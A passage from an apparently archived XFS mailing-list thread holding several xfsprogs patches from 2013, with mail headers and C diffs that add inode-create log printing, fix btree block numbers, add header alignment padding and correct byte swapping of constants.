len; + + /* handle complete header only */ + if (len != sizeof(struct xfs_icreate_log)) { + printf(_("ICR: split header, not printing\n")); + return 1; /* to skip leftover in next region */ + } + + printf(_("ICR: #ag: %d agbno: 0x%x len: %d\n" + " cnt: %d isize: %d gen: 0x%x\n"), + be32_to_cpu(icl->icl_ag), be32_to_cpu(icl->icl_agbno), + be32_to_cpu(icl->icl_length), be32_to_cpu(icl->icl_count), + be32_to_cpu(icl->icl_isize), be32_to_cpu(icl->icl_gen)); + return 0; +} + /****************************************************************************** * * Log print routines @@ -974,6 +1004,12 @@ xlog_print_record(int fd, &i, num_ops); break; } + case XFS_LI_ICREATE: { + skip = xlog_print_trans_icreate(&ptr, + be32_to_cpu(op_head->oh_len), + &i, num_ops); + break; + } case XFS_LI_INODE: { skip = xlog_print_trans_inode(&ptr, be32_to_cpu(op_head->oh_len), diff --git a/logprint/log_print_all.c b/logprint/log_print_all.c index 1194469..8b932d2 100644 --- a/logprint/log_print_all.c +++ b/logprint/log_print_all.c @@ -432,6 +432,21 @@ xlog_recover_print_efi( free(f); } +STATIC void +xlog_recover_print_icreate( + struct xlog_recover_item *item) +{ + struct xfs_icreate_log *icl; + + icl = (struct xfs_icreate_log *)item->ri_buf[0].i_addr; + + printf(_(" ICR: #ag: %d agbno: 0x%x len: %d\n" + " cnt: %d isize: %d gen: 0x%x\n"), + be32_to_cpu(icl->icl_ag), be32_to_cpu(icl->icl_agbno), + be32_to_cpu(icl->icl_length), be32_to_cpu(icl->icl_count), + be32_to_cpu(icl->icl_isize), be32_to_cpu(icl->icl_gen)); +} + void xlog_recover_print_logitem( xlog_recover_item_t *item) @@ -440,6 +455,9 @@ xlog_recover_print_logitem( case XFS_LI_BUF: xlog_recover_print_buffer(item); break; + case XFS_LI_ICREATE: + xlog_recover_print_icreate(item); + break; case XFS_LI_INODE: xlog_recover_print_inode(item); break; @@ -471,6 +489,9 @@ xlog_recover_print_item( case XFS_LI_BUF: printf("BUF"); break; + case XFS_LI_ICREATE: + printf("ICR"); + break; case XFS_LI_INODE: printf("INO"); break; -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:06:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EF23D7F58 for ; Wed, 4 Sep 2013 17:06:09 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id D0164304039 for ; Wed, 4 Sep 2013 15:06:09 -0700 (PDT) X-ASG-Debug-ID: 1378332366-04bdf02f20d82270002-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id uRjjt7ZhGBGiph1K for ; Wed, 04 Sep 2013 15:06:08 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIACyuJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBScvMwgYMTkDGxmIAbo9j32EBwOpW4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:36:05 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLD9-0007cq-Ia for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLD9-0003rW-Hu for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 05/55] libxfs: ensure btree root split sets blkno correctly Date: Thu, 5 Sep 2013 08:05:09 +1000 X-ASG-Orig-Subj: [PATCH 05/55] libxfs: ensure btree root split sets blkno correctly Message-Id: <1378332359-14737-6-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378332367 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140346 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner For CRC enabled filesystems, the BMBT is rooted in an inode, so it passes through a difference code path on root splits to the freespace and inode btrees. The inode based btree root has a corruption problem on split - it's the same problem we saw in the directory/attr code where headers are memcpy()d from one block to another without updating the self describing metadata. Simple fix - when copying the header out of the root block, make sure the block number is updated correctly. Signed-off-by: Dave Chinner --- libxfs/xfs_btree.c | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/libxfs/xfs_btree.c b/libxfs/xfs_btree.c index b11131c..3ac3330 100644 --- a/libxfs/xfs_btree.c +++ b/libxfs/xfs_btree.c @@ -2487,7 +2487,17 @@ xfs_btree_new_iroot( if (error) goto error0; + /* + * we can't just memcpy() the root in for CRC enabled btree blocks. + * In that case have to also ensure the blkno remains correct + */ memcpy(cblock, block, xfs_btree_block_len(cur)); + if (cur->bc_flags & XFS_BTREE_CRC_BLOCKS) { + if (cur->bc_flags & XFS_BTREE_LONG_PTRS) + cblock->bb_u.l.bb_blkno = cpu_to_be64(cbp->b_bn); + else + cblock->bb_u.s.bb_blkno = cpu_to_be64(cbp->b_bn); + } be16_add_cpu(&block->bb_level, 1); xfs_btree_set_numrecs(block, 1); -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:06:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D64677F53 for ; Wed, 4 Sep 2013 17:06:10 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id C63058F8033 for ; Wed, 4 Sep 2013 15:06:10 -0700 (PDT) X-ASG-Debug-ID: 1378332368-04cb6c2e9cd57c00001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id rcruMhDa4VBdh4ea for ; Wed, 04 Sep 2013 15:06:09 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIACyuJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBVYzCBgxOQMbGYgBuj2PfYQHA6lbgzIq Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:36:05 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLD9-0007co-Hw for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLD9-0003rR-HL for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 04/55] libxfs: fix directory/attribute format issues Date: Thu, 5 Sep 2013 08:05:08 +1000 X-ASG-Orig-Subj: [PATCH 04/55] libxfs: fix directory/attribute format issues Message-Id: <1378332359-14737-5-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378332368 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140346 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner directory data headers and attr leaf headers need padding for 32 bit systems to correctly align the data sections on 64 bit boundaries. Signed-off-by: Dave Chinner --- include/xfs_attr_leaf.h | 1 + include/xfs_dir2_format.h | 5 +++-- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/include/xfs_attr_leaf.h b/include/xfs_attr_leaf.h index b3e93bb..c102213 100644 --- a/include/xfs_attr_leaf.h +++ b/include/xfs_attr_leaf.h @@ -128,6 +128,7 @@ struct xfs_attr3_leaf_hdr { __u8 holes; __u8 pad1; struct xfs_attr_leaf_map freemap[XFS_ATTR_LEAF_MAPSIZE]; + __be32 pad2; /* 64 bit alignment */ }; #define XFS_ATTR3_LEAF_CRC_OFF (offsetof(struct xfs_attr3_leaf_hdr, info.crc)) diff --git a/include/xfs_dir2_format.h b/include/xfs_dir2_format.h index 8c16bb0..4126e86 100644 --- a/include/xfs_dir2_format.h +++ b/include/xfs_dir2_format.h @@ -260,6 +260,7 @@ struct xfs_dir3_blk_hdr { struct xfs_dir3_data_hdr { struct xfs_dir3_blk_hdr hdr; xfs_dir2_data_free_t best_free[XFS_DIR2_DATA_FD_COUNT]; + __be32 pad; /* 64 bit alignment */ }; #define XFS_DIR3_DATA_CRC_OFF offsetof(struct xfs_dir3_data_hdr, hdr.crc) @@ -471,7 +472,7 @@ struct xfs_dir3_leaf_hdr { struct xfs_da3_blkinfo info; /* header for da routines */ __be16 count; /* count of entries */ __be16 stale; /* count of stale entries */ - __be32 pad; + __be32 pad; /* 64 bit alignment */ }; struct xfs_dir3_icleaf_hdr { @@ -712,7 +713,7 @@ struct xfs_dir3_free_hdr { __be32 firstdb; /* db of first entry */ __be32 nvalid; /* count of valid entries */ __be32 nused; /* count of used entries */ - __be32 pad; /* 64 bit alignment. */ + __be32 pad; /* 64 bit alignment */ }; struct xfs_dir3_free { -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:06:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 000A729DFB for ; Wed, 4 Sep 2013 17:06:10 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 928F4AC003 for ; Wed, 4 Sep 2013 15:06:07 -0700 (PDT) X-ASG-Debug-ID: 1378332365-04cbb02c3cd4b110001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 3pdXyxfcBqpIpNau for ; Wed, 04 Sep 2013 15:06:05 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgERACyuJ1J5LJ62/2dsb2JhbABbgwc1rVoDP5UhF3SDATuBAgOINQ2ZL6EBjQ2CcIQHA6lbgzIqgS4k Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:36:04 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLD9-0007ck-FE for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLD9-0003r9-EM for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 00/55] xfsprogs: bring code up to date with kernel Date: Thu, 5 Sep 2013 08:05:04 +1000 X-ASG-Orig-Subj: [PATCH 00/55] xfsprogs: bring code up to date with kernel Message-Id: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378332365 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140346 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, This is an updated version of the patchset posted here: http://oss.sgi.com/archives/xfs/2013-07/msg00454.html Changes since the previous version: - rebased onto master branch of repository - updated to match current kernel code - added several new patches for changes added to the kernel code - fixed many bugs - mkfs log sizing was wrong - dtype output for block format directories didn't work - repair was crashing on corrupt block format directories - xfs_trans.h completely removed There is not support for validating dtype in xfs_repair yet - that is part of a series of improved validation changes I'm making at the moment on top of this patchset, along with stuff like making xfs_db use libxfs infrastructure.... Cheers, Dave. From dave@fromorbit.com Wed Sep 4 17:06:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B62637F53 for ; Wed, 4 Sep 2013 17:06:11 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7B53A304039 for ; Wed, 4 Sep 2013 15:06:11 -0700 (PDT) X-ASG-Debug-ID: 1378332366-04bdf02f20d82270003-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id k61xnhKKLSoJEaCD for ; Wed, 04 Sep 2013 15:06:09 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnoIACyuJ1J5LJ62/2dsb2JhbABbgweuUZN5gSgXdIIkAQEFJy8zCBgxOQMbGYgBuj2PW4QpA6lbgzIq Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:36:05 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLD9-0007cs-J6 for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLD9-0003rb-IT for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 06/55] libxfs: fix byte swapping on constants Date: Thu, 5 Sep 2013 08:05:10 +1000 X-ASG-Orig-Subj: [PATCH 06/55] libxfs: fix byte swapping on constants Message-Id: <1378332359-14737-7-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378332368 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140346 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The kernel code uses cpu_to_beXX() on constants in switch() statements for magic numbers in the btree code. Th ebyte swapping infratructure isn't hooked up to the proper byte swap macros to make this work, so fix it and then swap all the generic btree code over to match the kernel code. Signed-off-by: Dave Chinner --- include/swab.h | 6 +++--- libxfs/xfs_alloc_btree.c | 23 ++++++++++++++--------- libxfs/xfs_bmap_btree.c | 14 ++++++-------- libxfs/xfs_ialloc_btree.c | 16 +++++++++++----- 4 files changed, 34 insertions(+), 25 deletions(-) diff --git a/include/swab.h b/include/swab.h index 3de44d8..b06346c 100644 --- a/include/swab.h +++ b/include/swab.h @@ -96,15 +96,15 @@ */ # define __swab16(x) \ (__builtin_constant_p((__u16)(x)) ? \ - ___swab16((x)) : \ + ___constant_swab16((x)) : \ __fswab16((x))) # define __swab32(x) \ (__builtin_constant_p((__u32)(x)) ? \ - ___swab32((x)) : \ + ___constant_swab32((x)) : \ __fswab32((x))) # define __swab64(x) \ (__builtin_constant_p((__u64)(x)) ? \ - ___swab64((x)) : \ + ___constant_swab64((x)) : \ __fswab64((x))) diff --git a/libxfs/xfs_alloc_btree.c b/libxfs/xfs_alloc_btree.c index 1ee1f48..282a320 100644 --- a/libxfs/xfs_alloc_btree.c +++ b/libxfs/xfs_alloc_btree.c @@ -268,10 +268,15 @@ xfs_allocbt_verify( * During growfs operations, we can't verify the exact level or owner as * the perag is not fully initialised and hence not attached to the * buffer. In this case, check against the maximum tree depth. + * + * Similarly, during log recovery we will have a perag structure + * attached, but the agf information will not yet have been initialised + * from the on disk AGF. Again, we can only check against maximum limits + * in this case. */ level = be16_to_cpu(block->bb_level); - switch (cpu_to_be32(block->bb_magic)) { - case XFS_ABTB_CRC_MAGIC: + switch (block->bb_magic) { + case cpu_to_be32(XFS_ABTB_CRC_MAGIC): if (!xfs_sb_version_hascrc(&mp->m_sb)) return false; if (!uuid_equal(&block->bb_u.s.bb_uuid, &mp->m_sb.sb_uuid)) @@ -282,14 +287,14 @@ xfs_allocbt_verify( be32_to_cpu(block->bb_u.s.bb_owner) != pag->pag_agno) return false; /* fall through */ - case XFS_ABTB_MAGIC: - if (pag) { + case cpu_to_be32(XFS_ABTB_MAGIC): + if (pag && pag->pagf_init) { if (level >= pag->pagf_levels[XFS_BTNUM_BNOi]) return false; } else if (level >= mp->m_ag_maxlevels) return false; break; - case XFS_ABTC_CRC_MAGIC: + case cpu_to_be32(XFS_ABTC_CRC_MAGIC): if (!xfs_sb_version_hascrc(&mp->m_sb)) return false; if (!uuid_equal(&block->bb_u.s.bb_uuid, &mp->m_sb.sb_uuid)) @@ -300,8 +305,8 @@ xfs_allocbt_verify( be32_to_cpu(block->bb_u.s.bb_owner) != pag->pag_agno) return false; /* fall through */ - case XFS_ABTC_MAGIC: - if (pag) { + case cpu_to_be32(XFS_ABTC_MAGIC): + if (pag && pag->pagf_init) { if (level >= pag->pagf_levels[XFS_BTNUM_CNTi]) return false; } else if (level >= mp->m_ag_maxlevels) @@ -361,7 +366,7 @@ const struct xfs_buf_ops xfs_allocbt_buf_ops = { }; -#ifdef DEBUG +#if defined(DEBUG) || defined(XFS_WARN) STATIC int xfs_allocbt_keys_inorder( struct xfs_btree_cur *cur, @@ -483,7 +488,7 @@ static const struct xfs_btree_ops xfs_allocbt_ops = { .init_ptr_from_cur = xfs_allocbt_init_ptr_from_cur, .key_diff = xfs_allocbt_key_diff, .buf_ops = &xfs_allocbt_buf_ops, -#ifdef DEBUG +#if defined(DEBUG) || defined(XFS_WARN) .keys_inorder = xfs_allocbt_keys_inorder, .recs_inorder = xfs_allocbt_recs_inorder, #endif diff --git a/libxfs/xfs_bmap_btree.c b/libxfs/xfs_bmap_btree.c index 473db4a..bf214cf 100644 --- a/libxfs/xfs_bmap_btree.c +++ b/libxfs/xfs_bmap_btree.c @@ -708,13 +708,13 @@ xfs_bmbt_verify( struct xfs_btree_block *block = XFS_BUF_TO_BLOCK(bp); unsigned int level; - switch (be32_to_cpu(block->bb_magic)) { - case XFS_BMAP_CRC_MAGIC: + switch (block->bb_magic) { + case cpu_to_be32(XFS_BMAP_CRC_MAGIC): if (!xfs_sb_version_hascrc(&mp->m_sb)) return false; if (!uuid_equal(&block->bb_u.l.bb_uuid, &mp->m_sb.sb_uuid)) return false; - if (block->bb_u.l.bb_blkno != cpu_to_be64(bp->b_bn)) + if (be64_to_cpu(block->bb_u.l.bb_blkno) != bp->b_bn) return false; /* * XXX: need a better way of verifying the owner here. Right now @@ -723,7 +723,7 @@ xfs_bmbt_verify( if (be64_to_cpu(block->bb_u.l.bb_owner) == 0) return false; /* fall through */ - case XFS_BMAP_MAGIC: + case cpu_to_be32(XFS_BMAP_MAGIC): break; default: return false; @@ -759,7 +759,6 @@ static void xfs_bmbt_read_verify( struct xfs_buf *bp) { - xfs_bmbt_verify(bp); if (!(xfs_btree_lblock_verify_crc(bp) && xfs_bmbt_verify(bp))) { trace_xfs_btree_corrupt(bp, _RET_IP_); @@ -767,7 +766,6 @@ xfs_bmbt_read_verify( bp->b_target->bt_mount, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); } - } static void @@ -791,7 +789,7 @@ const struct xfs_buf_ops xfs_bmbt_buf_ops = { }; -#ifdef DEBUG +#if defined(DEBUG) || defined(XFS_WARN) STATIC int xfs_bmbt_keys_inorder( struct xfs_btree_cur *cur, @@ -920,7 +918,7 @@ static const struct xfs_btree_ops xfs_bmbt_ops = { .init_ptr_from_cur = xfs_bmbt_init_ptr_from_cur, .key_diff = xfs_bmbt_key_diff, .buf_ops = &xfs_bmbt_buf_ops, -#ifdef DEBUG +#if defined(DEBUG) || defined(XFS_WARN) .keys_inorder = xfs_bmbt_keys_inorder, .recs_inorder = xfs_bmbt_recs_inorder, #endif diff --git a/libxfs/xfs_ialloc_btree.c b/libxfs/xfs_ialloc_btree.c index ee036bf..27a5dd9 100644 --- a/libxfs/xfs_ialloc_btree.c +++ b/libxfs/xfs_ialloc_btree.c @@ -175,9 +175,15 @@ xfs_inobt_verify( /* * During growfs operations, we can't verify the exact owner as the * perag is not fully initialised and hence not attached to the buffer. + * + * Similarly, during log recovery we will have a perag structure + * attached, but the agi information will not yet have been initialised + * from the on disk AGI. We don't currently use any of this information, + * but beware of the landmine (i.e. need to check pag->pagi_init) if we + * ever do. */ - switch (be32_to_cpu(block->bb_magic)) { - case XFS_IBT_CRC_MAGIC: + switch (block->bb_magic) { + case cpu_to_be32(XFS_IBT_CRC_MAGIC): if (!xfs_sb_version_hascrc(&mp->m_sb)) return false; if (!uuid_equal(&block->bb_u.s.bb_uuid, &mp->m_sb.sb_uuid)) @@ -188,7 +194,7 @@ xfs_inobt_verify( be32_to_cpu(block->bb_u.s.bb_owner) != pag->pag_agno) return false; /* fall through */ - case XFS_IBT_MAGIC: + case cpu_to_be32(XFS_IBT_MAGIC): break; default: return 0; @@ -246,7 +252,7 @@ const struct xfs_buf_ops xfs_inobt_buf_ops = { .verify_write = xfs_inobt_write_verify, }; -#ifdef DEBUG +#if defined(DEBUG) || defined(XFS_WARN) STATIC int xfs_inobt_keys_inorder( struct xfs_btree_cur *cur, @@ -350,7 +356,7 @@ static const struct xfs_btree_ops xfs_inobt_ops = { .init_ptr_from_cur = xfs_inobt_init_ptr_from_cur, .key_diff = xfs_inobt_key_diff, .buf_ops = &xfs_inobt_buf_ops, -#ifdef DEBUG +#if defined(DEBUG) || defined(XFS_WARN) .keys_inorder = xfs_inobt_keys_inorder, .recs_inorder = xfs_inobt_recs_inorder, #endif -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:06:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EB44E7F58 for ; Wed, 4 Sep 2013 17:06:11 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id CD5ED304039 for ; Wed, 4 Sep 2013 15:06:11 -0700 (PDT) X-ASG-Debug-ID: 1378332365-04cbb02c3cd4b110004-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id ARItd3R9vMD4LRqy for ; Wed, 04 Sep 2013 15:06:10 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIACyuJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBVYzCBgxOQMbGYgBuj2UBAOUG44JhzeDMio Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:36:05 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLD9-0007cl-GL for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLD9-0003rC-FD for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 01/55] xfsprogs: introduce xfs_icreate.h Date: Thu, 5 Sep 2013 08:05:05 +1000 X-ASG-Orig-Subj: [PATCH 01/55] xfsprogs: introduce xfs_icreate.h Message-Id: <1378332359-14737-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378332369 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140346 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Bring the new inode create item definitions across from kernel space for xfs_logprint to be able to parse. Signed-off-by: Dave Chinner --- include/Makefile | 2 +- include/xfs_icreate_item.h | 52 ++++++++++++++++++++++++++++++++++++++++++++++ include/xfs_log.h | 3 ++- include/xfs_trans.h | 7 +++++-- 4 files changed, 60 insertions(+), 4 deletions(-) create mode 100644 include/xfs_icreate_item.h diff --git a/include/Makefile b/include/Makefile index 92161bd..ba2c80d 100644 --- a/include/Makefile +++ b/include/Makefile @@ -26,7 +26,7 @@ QAHFILES = libxfs.h libxlog.h \ xfs_btree_trace.h xfs_buf_item.h xfs_cksum.h xfs_da_btree.h \ xfs_dinode.h xfs_dir2.h xfs_dir2_format.h \ xfs_extfree_item.h xfs_ialloc.h xfs_ialloc_btree.h \ - xfs_inode.h xfs_inode_item.h xfs_inum.h \ + xfs_icreate_item.h xfs_inode.h xfs_inode_item.h xfs_inum.h \ xfs_log.h xfs_log_priv.h xfs_log_recover.h xfs_metadump.h \ xfs_mount.h xfs_quota.h xfs_rtalloc.h xfs_sb.h xfs_symlink.h \ xfs_trace.h xfs_trans.h xfs_trans_space.h xfs_dfrag.h diff --git a/include/xfs_icreate_item.h b/include/xfs_icreate_item.h new file mode 100644 index 0000000..88ba8aa --- /dev/null +++ b/include/xfs_icreate_item.h @@ -0,0 +1,52 @@ +/* + * Copyright (c) 2008-2010, Dave Chinner + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * 